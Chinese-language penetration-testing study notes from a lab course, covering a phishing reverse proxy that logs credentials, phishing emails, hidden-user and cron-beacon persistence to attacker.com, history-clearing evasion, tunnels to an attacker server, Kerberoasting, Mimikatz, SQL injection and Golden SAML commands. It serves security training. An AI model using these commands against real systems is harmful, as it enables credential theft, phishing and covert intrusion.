一、钓鱼攻击阶段总结
1. 钓鱼收尾工作与反向代理方案
点点师傅贡献的方案:使用Nginx作为反向代理来捕获用户凭据
优点:短平快的解决方案,脚本化程度高,最大程度减小特征
工作原理:捕获HTTP响应,获取用户提交的Cookie和请求体数据
实现细节:
使用环境变量指定钓鱼域名
申请TLS证书确保HTTPS连接
配置Nginx服务器实现对目标站点(NextCloud)的代理
通过自定义日志格式捕获凭据信息
拓展:Nginx反向代理配置实例:
# 定义环境变量 # export FAKE_DOMAIN=example.com # 申请SSL证书 # certbot certonly --standalone -d $FAKE_DOMAIN http { # 自定义日志格式,捕获凭据 log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for" ' '"$cookie_SESSION" "$request_body"'; server { listen 443 ssl; listen [::]:443 ssl; access_log /var/log/nginx/access.log main; ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; server_name 192.168.1.231; location / { proxy_pass https://nextcloud.0x0.security.com; proxy_set_header Host nextcloud.0x0.security.com; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } }与商业化工具(如Modlishka)的对比:
Modlishka提供更多功能,包括完整钓鱼流程管理
点点师傅的方案更精简,但同样高效
商业工具底层实际上也是基于类似技术实现
拓展:Modlishka与Nginx反向代理方案比较:
2. 不同钓鱼方案的思维方式
独立思考的重要性:基于自己的技术基础构建攻击过程是最佳实践
技术背景差异:每个人的技术基础不同,会导致思考方向不同
例如:有运维背景的人对网络代理方案会更敏感
没有相关背景的人可能更依赖攻击框架
安全视角:应该从安全的角度考虑问题,而不是试图在所有领域都成为专家
拓展:不同背景人员的思维差异与优势:
运维背景
:
熟悉网络架构和服务配置
能快速识别配置错误和服务漏洞
理解系统间的交互和依赖关系
钓鱼方案偏向利用基础设施服务(如DNS、反向代理)
开发背景
:
了解应用程序内部逻辑
能识别代码级漏洞
擅长开发定制化工具
钓鱼方案偏向利用应用层漏洞或创建仿冒应用
纯安全背景
:
熟悉各类攻击向量
了解最新漏洞和利用方法
偏向使用现成攻击框架
钓鱼方案可能优先考虑社会工程学和现成工具
3. 钓鱼技术实践的特点
纯净性:好的方案往往使用常规技术组件,不带明显的攻击特征
证书是正常网站都需要的
日志捕获是网站调试常用功能
反向代理是标准的网络设施
实战考量:需要思考如何实时监测有效流量并及时利用捕获的信息
例如:获取验证码后在有效时间窗口内使用
拓展:实时监控与响应技术:
# 使用tail命令实时监控Nginx日志获取凭据 tail -f /var/log/nginx/access.log | grep -E "cookie|password" # 使用sed提取关键信息 tail -f /var/log/nginx/access.log | sed -n 's/.*"username=\([^&]*\).*"password=\([^"]*\).*/用户名: \1, 密码: \2/p' # 监控并自动提取验证码(假设验证码在日志中有特定模式) tail -f /var/log/nginx/access.log | grep -E "challenge_code" | sed -n 's/.*challenge_code=\([0-9]{6}\).*/验证码: \1/p' # 定时检查是否捕获到新凭据 watch -n 5 "grep -c 'password' /var/log/nginx/access.log"
二、靶场IP总结与分析
1. 机器状态与开放服务分析
机器2和22:未开放端口,但已经启动,需思考其在网络中的作用
机器13(DNS服务器):
DNS服务是基础设施,熟悉应用很重要
从业务角度理解DNS应用,结合技术站角度分析
基础设施容易有弱密码问题
基础设施往往历史跨度长,容易存在安全隐患
拓展:DNS服务器常见弱点与利用方式:
# 1. 区域传送漏洞检测 dig @<dns_server_ip> <domain> AXFR # 2. DNS服务版本信息泄露 dig @<dns_server_ip> version.bind chaos txt # 3. 检查是否存在开放的DNS管理界面 nmap -p 80,443,8080,8443 <dns_server_ip> # 4. 尝试弱密码登录DNS管理界面 # 常见弱密码组合:admin/admin, admin/password, root/root, admin/dns-admin # 5. 检查DNS服务器是否允许递归查询(可能被用于DDoS放大攻击) dig @<dns_server_ip> www.example.com机器21和50:未开放端口,内网中需要思考其用途
机器62:
暴露的是大型应用管理系统
对大型系统,爆破不应是首选方案
应优先考虑其他路径,将爆破作为最后手段
拓展:大型应用管理系统替代攻击思路:
侧面信息收集
:
查找相关文档、知识库
社交媒体和求职网站上查找使用该系统的员工
搜索公开的报错信息寻找版本号
已知漏洞利用
:
确定系统版本后查找CVE
检查默认配置问题
查找该系统已公开的认证绕过方法
供应链攻击
:
研究该系统使用的第三方组件
寻找组件之间的集成漏洞
接口测试
:
检查API接口安全性
寻找未授权访问的端点
测试参数处理逻辑
机器74:
开放了22端口(SSH)和25端口(SMTP)
SMTP服务为钓鱼提供了可能性
SSH服务通常不应作为爆破首选目标
拓展:SMTP服务利用技术:
# 1. 枚举SMTP用户 smtp-user-enum -M VRFY -U users.txt -t <smtp_server_ip> # 2. 检查SMTP中继配置 swaks --to external@example.com --from internal@target.com --server <smtp_server_ip> # 3. 使用SMTP服务发送钓鱼邮件 sendemail -f "helpdesk@target.com" -t "victim@target.com" -u "Password Reset Required" -m "Please login at http://fake-domain.com to reset your password" -s <smtp_server_ip> # 4. 检查SMTP版本和开放的扩展命令 nmap --script smtp-commands -p 25 <smtp_server_ip>机器88:
模拟数据泄露场景,类似网上出售数据的方式
提示思考:有时用小额费用解决问题是有效方案
敏感数据处理需注意法律风险
机器231:
绑定NextCloud应用的关键节点
从其默认域名、IP直接访问的域、Logo和内容可判断
需对域名系统有深入了解
拓展:域名配置与二级域名绑定:
# 1. 查看域名解析情况 dig nextcloud.0x0.security.com # 2. 检查DNS记录 dig +short -t ANY 0x0.security.com # 3. 子域名枚举 subfinder -d 0x0.security.com # 4. DNS区域传送尝试 dig @ns1.0x0.security.com 0x0.security.com AXFR # 5. 在DNS服务器上配置新的子域名记录(在获得权限后) nsupdate -k /path/to/key <<EOF server ns1.0x0.security.com zone 0x0.security.com update add fake-nextcloud.0x0.security.com 3600 A 192.168.1.231 send EOF机器242:
项目信息收集点
作为获取立足点的路径之一
可能还有其他未发现的攻击路径
2. 思考靶场IP的关联性
网络拓扑推测:通过已知信息推测网络结构
信息综合分析:将各台机器的信息放在脑中综合分析,不仅依赖工具输出
关键节点识别:识别出如231机器绑定NextCloud这样的关键节点
拓展:网络拓扑推测技术:
# 1. 基于IP地址分析网段 # 例如,如果看到IP地址如10.10.1.13和10.10.2.231,可推测有多个子网 # 2. 利用TTL值和路由跟踪分析网络层次 traceroute <target_ip> # 3. 分析路由表信息 ip route show netstat -rn # 4. 通过ARP缓存识别本地网段设备 arp -a # 5. 创建可视化网络图(使用外部工具导入数据) # 记录IP、开放端口、服务版本等关键信息
三、内网渗透初始阶段
1. 谨慎开始原则
权限保护意识:获得立足点后需谨慎操作,避免丢失权限
持久化需求:尽快寻找持久化方式,如创建新账号、获取多个账号权限
行动平衡:在获取更多信息和避免被发现之间寻找平衡点
拓展:初始立足点持久化技术:
# 1. 创建隐藏用户(Linux) useradd -M -N -r -s /bin/bash -c "Service Account" hidden_user echo "hidden_user:Password123" | chpasswd # 2. 添加SSH密钥 mkdir -p ~/.ssh echo "ssh-rsa AAAA..." > ~/.ssh/authorized_keys chmod 600 ~/.ssh/authorized_keys # 3. 创建Cron任务(定期回连) (crontab -l 2>/dev/null; echo "*/30 * * * * curl http://attacker.com/check.php?host=\$HOSTNAME") | crontab - # 4. 修改服务启动脚本(确保服务重启后仍可访问) # 例如向系统服务添加命令 # 5. 创建备用访问机制 # 比如配置Web Shell、命令后门等
2. 信息枚举和主机发现
OPSEC(Operation Security)思维:
操作一定会留下痕迹,关键是控制暴露可能性
不是完全不操作,而是控制操作的程度和方式
平衡全面收集信息和隐蔽性
拓展:OPSEC最佳实践:
减少命令执行痕迹
:
使用
history -c清除历史命令设置
HISTFILE=/dev/null或HISTSIZE=0禁用历史记录使用内存执行工具,避免写入磁盘
降低检测风险
:
避免高频率的扫描活动
分散操作时间,避免集中操作
优先使用系统内置工具而非外部工具
日志处理
:
了解系统关键日志位置(如
/var/log/)学会过滤日志中的特定条目
避免直接删除日志,可能触发警报
流量控制
:
优先使用加密通道
模仿正常流量模式
避免大量数据传输
主机发现方法:
IP地址查看:分析网卡信息和IP地址特征
端口扫描:可使用nmap但需谨慎控制范围
路由/ARP记录表分析:检查现有路由和ARP缓存
流量观测:分析网络流量发现活跃主机
四处翻找:查看配置文件、历史记录等
拓展:低噪声主机发现技术:
# 1. 查看本机网络配置 ifconfig -a ip addr show # 2. 分析路由表发现网段 netstat -rn ip route show # 3. 查看ARP缓存识别活跃主机 arp -a ip neigh show # 4. 使用ping进行有限探测(避免扫描整个网段) ping -c 1 192.168.1.1 # 5. 分析本地DNS配置和解析 cat /etc/resolv.conf cat /etc/hosts # 6. 检查系统上的连接信息 netstat -antup ss -antup # 7. 低速精确端口探测(针对性探测关键端口) nc -zv 192.168.1.10 22 3389 445 139 80 443 # 8. 流量监听(被动发现) tcpdump -i eth0 -n渐进式扫描策略:
从小范围开始,逐步扩大
先扫描关键网段,如DNS服务器中发现的IP所在网段
根据业务逻辑推测优先目标
根据发现的端口推测可能开放的其他服务
拓展:渐进式扫描实例:
# 第一阶段:极度谨慎的点对点确认 ping -c 1 10.10.1.1 nc -zv 10.10.1.1 22 # 第二阶段:扩展到关键服务探测 for port in 22 53 80 443 445 3389; do nc -zv 10.10.1.1 $port -w 1 done # 第三阶段:探测小范围网段的关键IP for host in 1 10 100 254; do ping -c 1 10.10.1.$host done # 第四阶段:扩展到典型服务器端口范围 nmap -T2 -n -Pn -sT 10.10.1.1 --top-ports 20 # 第五阶段:完整但低速的扫描 nmap -T2 -n -Pn -sT -A 10.10.1.1
3. 权限提升考量
提权必要性评估:
分析当前权限能做什么操作
评估不提权的情况下能否完成关键任务
提权与信息收集并行进行
系统探索:
查看已安装工具
检查各目录权限
寻找配置文件
分析系统信息
拓展:Linux初始权限探索与信息收集:
# 1. 系统基本信息 uname -a cat /etc/*-release # 2. 当前用户权限 id sudo -l # 3. 探索有价值目录 find / -type f -name "*.conf" -perm -o+r 2>/dev/null find / -type f -name "*.log" -perm -o+r 2>/dev/null find / -perm -4000 -type f 2>/dev/null # 4. 检查密码文件权限 ls -la /etc/passwd /etc/shadow # 5. 检查定时任务 crontab -l cat /etc/crontab # 6. 检查网络和进程 ss -antup ps aux # 7. 查找敏感信息 grep -r "password" /etc/ 2>/dev/null grep -r "BEGIN RSA PRIVATE KEY" /home/ 2>/dev/null # 8. 检查Web服务配置 find /etc/apache2/ -name "*.conf" -type f 2>/dev/null find /etc/nginx/ -name "*.conf" -type f 2>/dev/null
四、隧道化与端口转发
1. 隧道化必要性
环境与工具问题:
目标机器可能缺少必要工具
无法直接安装工具可能触发报警
权限限制导致无法执行某些操作
工具使用效率:
Kali中工具更完整,使用更熟练
避免在目标机器上进行复杂操作
拓展:隧道化方案决策树:
情况评估
:
目标机器的安全监控级别?
是否能够上传和执行工具?
需要哪些本地工具访问远程资源?
是否存在网络隔离或防火墙限制?
方案选择
:
如果目标监控松散且可执行工具:直接执行或上传扫描工具
如果目标有严格监控但SSH可用:建立SSH隧道
如果连接不稳定:使用持久连接机制如自动重连脚本
如果存在严格出站限制:利用常见协议(HTTP/DNS)隧道
2. 隧道技术细节
密钥处理:
不同密钥格式的了解与转换
密钥加密安全级别的演进
旧版与新版工具对密钥格式支持的差异
拓展:SSH密钥格式转换与管理:
# 1. 生成RSA密钥(传统格式) ssh-keygen -t rsa -b 4096 # 2. 生成更现代的Ed25519密钥 ssh-keygen -t ed25519 # 3. 转换OpenSSH密钥为PEM格式(某些工具需要) ssh-keygen -e -f ~/.ssh/id_rsa > id_rsa.pub.pem # 4. 将PEM公钥转回OpenSSH格式 ssh-keygen -i -f id_rsa.pub.pem > id_rsa.pub.openssh # 5. 从私钥中提取公钥 ssh-keygen -y -f ~/.ssh/id_rsa > ~/.ssh/id_rsa.pub # 6. 创建特定格式的密钥(如用于旧系统) ssh-keygen -t rsa -m PEM -b 4096 # 7. 转换putty格式密钥(.ppk) puttygen id_rsa -o id_rsa.ppkSSH隧道技巧:
使用SSH-Pass实现无交互式密码输入
利用SSH的高级功能:
带命令执行的SSH连接
不获取shell但执行命令
各种端口转发模式
拓展:SSH高级隧道配置:
# 1. 基本的本地端口转发 ssh -L 8080:internal-server:80 user@jumphost # 2. 远程端口转发(反向隧道) ssh -R 8080:localhost:80 user@public-server # 3. 动态SOCKS代理 ssh -D 9050 user@jumphost # 4. 使用SSH-Pass自动输入密码 sshpass -p "password" ssh user@host # 5. 执行远程命令不获取shell ssh user@host "cat /etc/passwd" > passwd.txt # 6. 多级转发组合 ssh -L 8080:localhost:9090 user1@host1 ssh -L 9090:internal-server:80 user2@host2 # 7. 创建SSH隧道并保持连接 ssh -L 8080:internal:80 -o ServerAliveInterval=30 -o ServerAliveCountMax=3 user@host # 8. 通过配置文件持久化隧道设置 cat << EOF > ~/.ssh/config Host tunnel HostName jumphost User username LocalForward 8080 internal-server:80 ServerAliveInterval 30 ServerAliveCountMax 3 EOF稳定性考量:
隧道断连问题处理
保持长时间连接的技巧
调优隧道参数提高稳定性
拓展:隧道稳定性提升技术:
# 1. SSH连接保持配置 cat << EOF >> ~/.ssh/config Host * ServerAliveInterval 30 ServerAliveCountMax 6 TCPKeepAlive yes ControlMaster auto ControlPath ~/.ssh/control/%r@%h:%p ControlPersist 10m EOF # 2. 创建自动重连脚本 cat << 'EOF' > ~/tunnel-keeper.sh #!/bin/bash while true; do if ! pgrep -f "ssh -L 8080:internal:80" > /dev/null; then echo "Reestablishing tunnel..." ssh -L 8080:internal:80 user@jumphost & fi sleep 60 done EOF chmod +x ~/tunnel-keeper.sh # 3. 使用autossh工具(更可靠的自动重连) apt-get install autossh autossh -M 20000 -L 8080:internal:80 user@jumphost # 4. 通过systemd创建持久隧道服务 cat << EOF > /etc/systemd/system/ssh-tunnel.service [Unit] Description=SSH tunnel After=network.target [Service] User=username ExecStart=/usr/bin/autossh -M 0 -N -L 8080:internal:80 user@jumphost Restart=always RestartSec=10 [Install] WantedBy=multi-user.target EOF systemctl enable ssh-tunnel systemctl start ssh-tunnel
3. 可用的隧道工具
传统工具:SSH端口转发
专用工具:FRP等国内常用工具
新型工具:更现代的隧道技术
根据需求选择:考虑稳定性、隐蔽性和功能
拓展:各类隧道工具对比与配置:
FRP配置示例:
# FRP服务端配置(frps.ini) [common] bind_port = 7000 token = secret_token # FRP客户端配置(frpc.ini) [common] server_addr = attacker_server server_port = 7000 token = secret_token [ssh] type = tcp local_ip = 127.0.0.1 local_port = 22 remote_port = 6000Chisel配置示例:
# 服务端 ./chisel server -p 8080 --reverse # 客户端(创建反向SOCKS代理) ./chisel client attacker_server:8080 R:socksLigolo-ng配置示例:
# 控制端-ip:10.10.16.111 ./proxy -laddr 0.0.0.0:5555 -selfcert -v -daemon -daemon 命令行模式 # 代理端(目标机器) ./agent_amd -connect 10.10.16.111:5555 -ignore-cert -v # 登录地址和账号密码 http://127.0.0.1:8088/ ligolo password
五、优先级分析与网络拓扑
1. 网络拓扑推测原则
基于有限信息:从网卡配置、IP地址段等推测网络结构
域划分:识别可能的网络域和子网
关键节点识别:找出容易突破的点以及核心基础设施
拓展:网络拓扑推测方法:
在内网渗透中,网络拓扑推测是一项关键技能,需要从多个数据点收集信息:
# 分析目标机器上的路由表信息 route -n ip route # 查看本地ARP缓存,了解最近通信过的设备 arp -a ip neigh # 从网络配置文件中获取信息 cat /etc/network/interfaces cat /etc/sysconfig/network-scripts/ifcfg-* # 查找网络配置文件和历史命令 grep -r "network" /etc/ history | grep "ifconfig\|ip addr\|route" # 分析netstat输出,查看活动连接 netstat -rn netstat -antp通过分析IP地址模式,可以推断网络设计原则:
基于功能划分网段(如10.10.1.x为服务器区,10.10.2.x为工作站区)
基于部门划分网段(如10.10.10.x为财务部,10.10.20.x为IT部)
基于安全等级划分网段(如192.168.1.x为DMZ区,172.16.x.x为内部网络)
2. 资产优先级排序
易攻难度评估:评估每个目标的防御强度
业务价值判断:分析资产对业务的重要性
攻击路径构建:规划从立足点到目标的攻击路径
拓展:资产优先级评估框架:
资产优先级排序应考虑以下因素,并为每个因素评分(1-5分):
系统角色
活动目录域控制器(5分)
数据库服务器(4分)
文件服务器(3分)
工作站(2分)
打印机/IoT设备(1分)
连通性
连接到多个网段的系统(5分)
连接到关键网段的系统(4分)
仅连接到标准网段(2-3分)
隔离系统(1分)
可访问性
开放关键服务(如445/SMB、3389/RDP、80/HTTP)(4-5分)
开放标准服务(3分)
仅开放少量端口(1-2分)
漏洞可能性
传统系统(如Windows 2008/2012)(4-5分)
标准企业系统(3分)
最新补丁系统(1-2分)
综合评分后,优先攻击总分高的系统。同时评估攻击路径的可行性:
立足点 → 目标A(域成员)→ 目标B(域管理员工作站)→ 最终目标(域控制器)
3. 试错与调整策略
初始猜测:基于经验进行网络拓扑初步推测
验证与调整:根据扫描结果不断调整网络模型
避免纯运气因素:将偶然发现转化为系统性方法
拓展:系统化试错方法:
系统化试错需要遵循科学方法:
假设形成:基于已知信息形成初步假设
"基于DNS记录,10.10.10.x网段可能是关键服务器区域"
"根据主机名命名规则,SRV开头的机器可能是服务器"
验证计划:设计最小测试验证假设
选择性扫描关键IP(如10.10.10.1, 10.10.10.10, 10.10.10.100)
测试特定服务是否存在(如域服务LDAP/389)
执行与记录:执行测试并详细记录结果
分析调整:分析结果并调整假设
如发现10.10.10.10运行DNS服务,假设得到强化
如未发现预期服务,调整假设
迭代改进:基于新假设继续探索
记录试错过程示例:
假设:10.10.1.x是管理网段 测试:扫描10.10.1.1-5的常见管理端口(22,3389,80,443) 结果:发现10.10.1.3开放3389端口 分析:可能是管理员工作站或远程管理服务器 新假设:10.10.1.3可能是跳板机
六、工具与脚本运用
1. 源码编译与工具部署
编译需求:
许多工具需要在特定环境下编译
掌握C、Go等语言源码编译技能
能处理依赖问题和配置问题
环境准备:
准备C编译环境
准备Go编译环境
准备Visual Studio和.NET Framework环境
拓展:工具编译指南:
C语言工具编译:
# 在Linux上编译C程序 # 安装编译工具 apt-get install build-essential # 基本编译 gcc -o program source.c # 带库的编译 gcc -o program source.c -lcrypto -lssl # 使用Make ./configure make make install # 交叉编译(例如为Windows编译) apt-get install mingw-w64 x86_64-w64-mingw32-gcc -o program.exe source.cGo语言工具编译:
# 安装Go apt-get install golang # 基本编译 go build main.go # 交叉编译(Linux为Windows) GOOS=windows GOARCH=amd64 go build -o program.exe main.go # 交叉编译(Linux为Mac) GOOS=darwin GOARCH=amd64 go build -o program.macos main.go # 静态编译(不依赖外部库) CGO_ENABLED=0 go build -a -ldflags '-extldflags "-static"' -o program main.goVisual Studio .NET编译:
# 使用MSBuild编译C#项目 "C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\MSBuild\Current\Bin\MSBuild.exe" /property:Configuration=Release YourProject.csproj # 使用.NET Core dotnet build --configuration Release # 发布可独立运行的二进制文件 dotnet publish -c Release -r win-x64 --self-contained true搬运策略:
最小化搬运工具到目标
编译精简版本减少检测风险
混淆或加密技术应用
拓展:工具搬运技巧:
最小化工具尺寸:
# 剥离二进制文件调试信息 strip -s tool # 使用UPX压缩二进制文件 upx --best tool文件分块传输:
# 发送端拆分 split -b 500k tool tool.part # 接收端组合 cat tool.part* > tool chmod +x tool编码传输:
# 编码为Base64 base64 tool > tool.b64 # 解码 base64 -d tool.b64 > tool chmod +x tool使用内置工具传输:
# 在攻击机器创建简单HTTP服务 python3 -m http.server 8000 # 在目标使用curl下载 curl http://attacker:8000/tool -o tool # 或使用内置工具如wget wget http://attacker:8000/tool
2. 关键工具介绍
Impacket工具集:
预渗透测试中不可或缺的工具
阅读其Python代码提升安全编程能力
使用其丰富的Examples掌握攻击技巧
拓展:Impacket工具集关键组件:
Impacket是一个功能强大的Python工具集,专门用于处理网络协议:
# 1. SMBClient - SMB协议客户端 python3 smbclient.py DOMAIN/username:password@target # 2. PSExec - 远程执行程序(类似SysInternals PSExec) python3 psexec.py DOMAIN/username:password@target cmd.exe # 3. WMIExec - 通过WMI执行命令 python3 wmiexec.py DOMAIN/username:password@target # 4. GetUserSPNs - Kerberos服务票据枚举与破解 python3 GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -request # 5. secretsdump - 提取系统密码哈希 python3 secretsdump.py DOMAIN/username:password@target # 6. ntlmrelayx - NTLM中继攻击工具 python3 ntlmrelayx.py -tf targets.txt # 7. smbserver - 创建SMB服务器 python3 smbserver.py SHARE /path/to/shareImpacket学习建议:
先掌握基本用法
研究关键脚本的结构和功能
了解底层协议实现
尝试创建自定义脚本或修改现有脚本
Kerberos相关工具:
可能需要重新编译以适应环境
理解其背后原理比简单使用更重要
拓展:Kerberos主要攻击工具:
Rubeus - .NET版Kerberos利用工具:
# 初始枚举 Rubeus.exe dump # 请求TGT票据 Rubeus.exe asktgt /user:username /password:password # Kerberoasting攻击 Rubeus.exe kerberoast /outfile:hashes.txt # AS-REP Roasting攻击 Rubeus.exe asreproast /outfile:asrep.txt # 黄金票据伪造 Rubeus.exe golden /domain:domain.com /sid:S-1-5... /aes256:hash /user:AdministratorKekeo - 另一款Windows Kerberos利用工具:
# 请求TGT kekeo# tgt::ask /user:username /domain:domain.com /password:password # 利用TGT请求服务票据 kekeo# tgs::ask /tgt:TGT_kirbi_file /service:service_SPN # 传递票据 kekeo# misc::ptt /file:ticket.kirbi编译提示:
# Windows下使用VS编译Rubeus git clone https://github.com/GhostPack/Rubeus.git # 使用Visual Studio打开解决方案并编译 # 交叉编译Kerberos工具 apt-get install gcc-mingw-w64 CC=x86_64-w64-mingw32-gcc ./configure --host=x86_64-w64-mingw32 make基础设施工具:
SSH和SSH-Pass的高级使用
端口扫描与服务发现工具
信息枚举脚本
拓展:基础设施工具常用命令:
SSH高级使用:
# 多重跳板连接 ssh -J user1@jumphost1,user2@jumphost2 user3@finalhost # 通过SSH执行本地脚本 ssh user@host 'bash -s' < local_script.sh # 以不同用户身份执行sudo命令 ssh user@host "sudo -u otheruser command" # 限制SSH命令 ssh -o PermitLocalCommand=no user@host低噪声扫描工具:
# 使用netcat进行基本端口扫描 for p in 21 22 80 443 445 3389; do nc -zv -w 1 192.168.1.10 $p 2>&1 | grep succeeded; done # 使用curl探测web服务 curl -s -I http://192.168.1.10 # 使用内置命令检测SMB服务 smbclient -L //192.168.1.10 -N信息枚举脚本示例:
#!/bin/bash # 基本主机枚举脚本 echo "==== 系统信息 ====" uname -a cat /etc/*-release 2>/dev/null echo -e "\n==== 用户信息 ====" whoami id last | head -n 5 echo -e "\n==== 网络信息 ====" ip addr ip route netstat -tuln echo -e "\n==== 进程信息 ====" ps aux | grep -E 'root|admin' echo -e "\n==== 可写目录 ====" find / -writable -type d -not -path "/proc/*" 2>/dev/null | head -n 20
七、时间问题与同步
1. 时钟同步问题
时间的重要性:预渗透测试中时间一直是关键因素
同步挑战:
不同机器时间可能不同步
时间差异导致认证失败
协议对时间敏感度高
时间窗口:
某些攻击需要在特定时间窗口执行
可能需要在1-2分钟内完成一系列操作
拓展:时间问题处理技术:
时间同步检查:
# 查看系统时间 date # 查看硬件时钟 hwclock --show # 检查时区设置 timedatectl # 检查NTP配置 cat /etc/ntp.conf systemctl status ntpd # 检查Windows时间同步 w32tm /query /status强制时间同步:
# Linux手动同步 ntpdate pool.ntp.org # Windows手动同步 w32tm /resync /force # 设置系统时间 date -s "2023-12-25 12:00:00"时间窗口操作脚本:
#!/bin/bash # 在特定时间窗口执行操作 TARGET_TIME="12:00:00" WINDOW_SECONDS=120 # 计算目标时间戳 TARGET_TS=$(date -d "today $TARGET_TIME" +%s) # 当前时间戳 CURRENT_TS=$(date +%s) # 计算等待时间 WAIT_TIME=$((TARGET_TS - CURRENT_TS)) if [ $WAIT_TIME -gt 0 ]; then echo "等待目标时间窗口,还需 $WAIT_TIME 秒..." sleep $WAIT_TIME fi echo "开始执行时间敏感操作..." # 执行你的命令 ./your_time_sensitive_command.sh # 检查是否仍在时间窗口内 if [ $(($(date +%s) - TARGET_TS)) -lt $WINDOW_SECONDS ]; then echo "仍在时间窗口内,继续执行下一步..." ./your_next_command.sh else echo "已超出时间窗口!" fi问题解决:
理解各种时间同步机制
注意不同工具与域之间的时间差异
自始至终关注时钟问题
拓展:域环境中的时间同步:
在Active Directory环境中,时间同步遵循层级结构:
PDC Emulator - 时间同步的主要来源,通常与外部时间源同步
域控制器 - 从PDC Emulator同步时间
成员服务器和工作站 - 从任何域控制器同步时间
排查域时间问题:
# 识别PDC角色持有者 netdom query fsmo # 检查当前时间源 w32tm /query /source # 检查时间偏移 w32tm /stripchart /computer:dc.domain.com /samples:5 /dataonly # 重新配置时间同步 w32tm /config /syncfromflags:domhier /update # 对于PDC角色服务器,设置外部时间源 w32tm /config /manualpeerlist:"pool.ntp.org" /syncfromflags:manual /reliable:yes /update
2. 各种工具的时间要求
早期工具:时钟要求可能较宽松
域工具:通常对时间同步要求严格
最新工具:可能有不同的时间处理机制
拓展:不同工具的时间敏感度:
Kerberos工具:
高度时间敏感,通常要求误差小于5分钟
涉及票据的工具(Rubeus, Mimikatz)会受时间影响
可能需要在时间同步环境下运行
# Mimikatz指定目标系统时间 mimikatz # misc::timezone mimikatz # kerberos::ptc /time:20231225122530Web应用工具:
会话Cookie可能有时间限制
JWT Token通常包含过期时间
可能需要调整系统时间以使用某些凭证
# 分析JWT过期时间 echo "eyJhbG...token..." | cut -d. -f2 | base64 -d | jq . # 调整Cookie时间 # 使用浏览器开发工具修改cookie过期时间网络协议工具:
NTP协议可被利用于时间调整
SMB/NTLM有时间戳但不严格
SSL/TLS证书验证受时间影响
# 检查证书有效期 openssl x509 -in cert.pem -noout -dates # 跳过SSL时间验证 curl -k https://target
八、专题研究与知识拓展
1. 专题学习建议
SQL注入专题:
理解CQL注入的特点
掌握国内外最佳教程精华
实际操作验证理论知识
拓展:SQL注入攻击技术:
SQL注入基本技术:
-- 1. 基本测试语句 ' OR 1=1 -- " OR 1=1 -- ') OR 1=1 -- -- 2. UNION查询 ' UNION SELECT 1,2,3 -- ' UNION SELECT null,null,column_name FROM information_schema.columns WHERE table_name='users' -- -- 3. 盲注技术 ' AND (SELECT ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)))>90 -- -- 4. 时间盲注 ' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>90,SLEEP(5),0) --实际场景中的利用:
# 使用sqlmap自动化检测 sqlmap -u "http://target/page.php?id=1" --dbs # 提取特定数据 sqlmap -u "http://target/page.php?id=1" -D database_name -T users -C username,password --dump # 高级bypass技术 sqlmap -u "http://target/page.php?id=1" --tamper=space2comment,charencodeNoSQL/CQL注入特点:
# MongoDB注入 username[$ne]=admin&password[$ne]= # Cassandra CQL注入 string' + 'injection钓鱼专题:
研究钓鱼的不同方法
理解背后的技术原理
结合实际场景应用
拓展:高级钓鱼技术:
钓鱼邮件策略:
# 生成逼真的钓鱼邮件 cat << EOF > phishing_email.txt From: IT Support <support@company-secure.com> Subject: Urgent: Security Password Update Required Dear Employee, Our security system has detected unusual login activity on your account. Please verify your credentials immediately at: https://portal-secure.company.com/ IT Security Team EOF # 通过SMTP发送 sendemail -f "support@company-secure.com" -t "victim@company.com" -u "Urgent: Security Password Update Required" -o message-file=phishing_email.txt -s target_smtp_server克隆认证页面:
# 使用Social-Engineer Toolkit (SET) setoolkit # 选择 "Social-Engineering Attacks" # 选择 "Website Attack Vectors" # 选择 "Credential Harvester Attack Method" # 选择 "Site Cloner" # 输入目标网站 https://company.com/login反向代理技术(如前述Nginx配置):
实时转发流量
捕获凭据
维持用户会话
ADS-F专题:
作为现代企业内网中重要的基础设施
预渗透测试的第一个大内容
理解其在域环境中的作用
拓展:AD FS (Active Directory Federation Services) 攻击技术:
1. AD FS基础枚举:
# 发现AD FS服务器 nslookup -type=SRV _fs._tcp.domain.com # 查询AD FS元数据 curl -k https://adfs.domain.com/FederationMetadata/2007-06/FederationMetadata.xml # 枚举联合应用 # 查看ADFS管理控制台2. Golden SAML攻击:
# 使用ADFSDump提取签名证书 ADFSDump.exe --server adfs.domain.com --debug # 使用AADInternals创建伪造令牌 Import-Module AADInternals New-AADIntSAMLToken -ImmutableID "<user_id>" -Issuer "http://adfs.domain.com/adfs/services/trust" -PfxFileName "adfs_signing.pfx"3. 凭据收集:
# 导出配置数据库凭证 Add-Type -AssemblyName System.Security $EncryptedConfig = Get-Content "C:\Windows\ADFS\Microsoft.IdentityServer.Servicehost.exe.config" | select-string "connectionString"4. DKM密钥提取:
# 使用Mimikatz转储DKM密钥 mimikatz # privilege::debug mimikatz # sekurlsa::dpapi
2. 学习方法与资源利用
原版教材:
获取OSEP等认证的教材资源
研读官方文档和指南
学习国内外最佳实践
拓展:最佳学习资源:
OSEP (Offensive Security Experienced Penetration Tester)
学习重点:高级反病毒绕过、高级PowerShell、Office文档攻击、高级权限提升
关键实验:域持久化技术、C2架构设计、自定义后门开发
CRTP (Certified Red Team Professional)
学习重点:Active Directory攻击、Kerberos漏洞利用、横向移动技术
关键实验:域控制器接管、Golden Ticket攻击、银票据攻击
自主实验环境搭建
:
# 使用AutomatedLab快速部署AD环境Install-Module AutomatedLab -ForceNew-LabDefinition -Name "PenTestLab" -DefaultVirtualizationEngine HyperVAdd-LabDomainDefinition -Name "corp.local" -AdminUser Administrator -AdminPassword "Password123!"Add-LabMachineDefinition -Name "DC1" -Memory 2GB -OperatingSystem 'Windows Server 2019 Datacenter' -Roles RootDC -DomainName "corp.local"Add-LabMachineDefinition -Name "SRV1" -Memory 2GB -OperatingSystem 'Windows Server 2019 Datacenter' -DomainName "corp.local"Add-LabMachineDefinition -Name "CLIENT1" -Memory 2GB -OperatingSystem 'Windows 10 Enterprise' -DomainName "corp.local"Install-Lab
动手实践:
本地搭建环境验证理论
实际操作加深理解
从业务角度理解技术
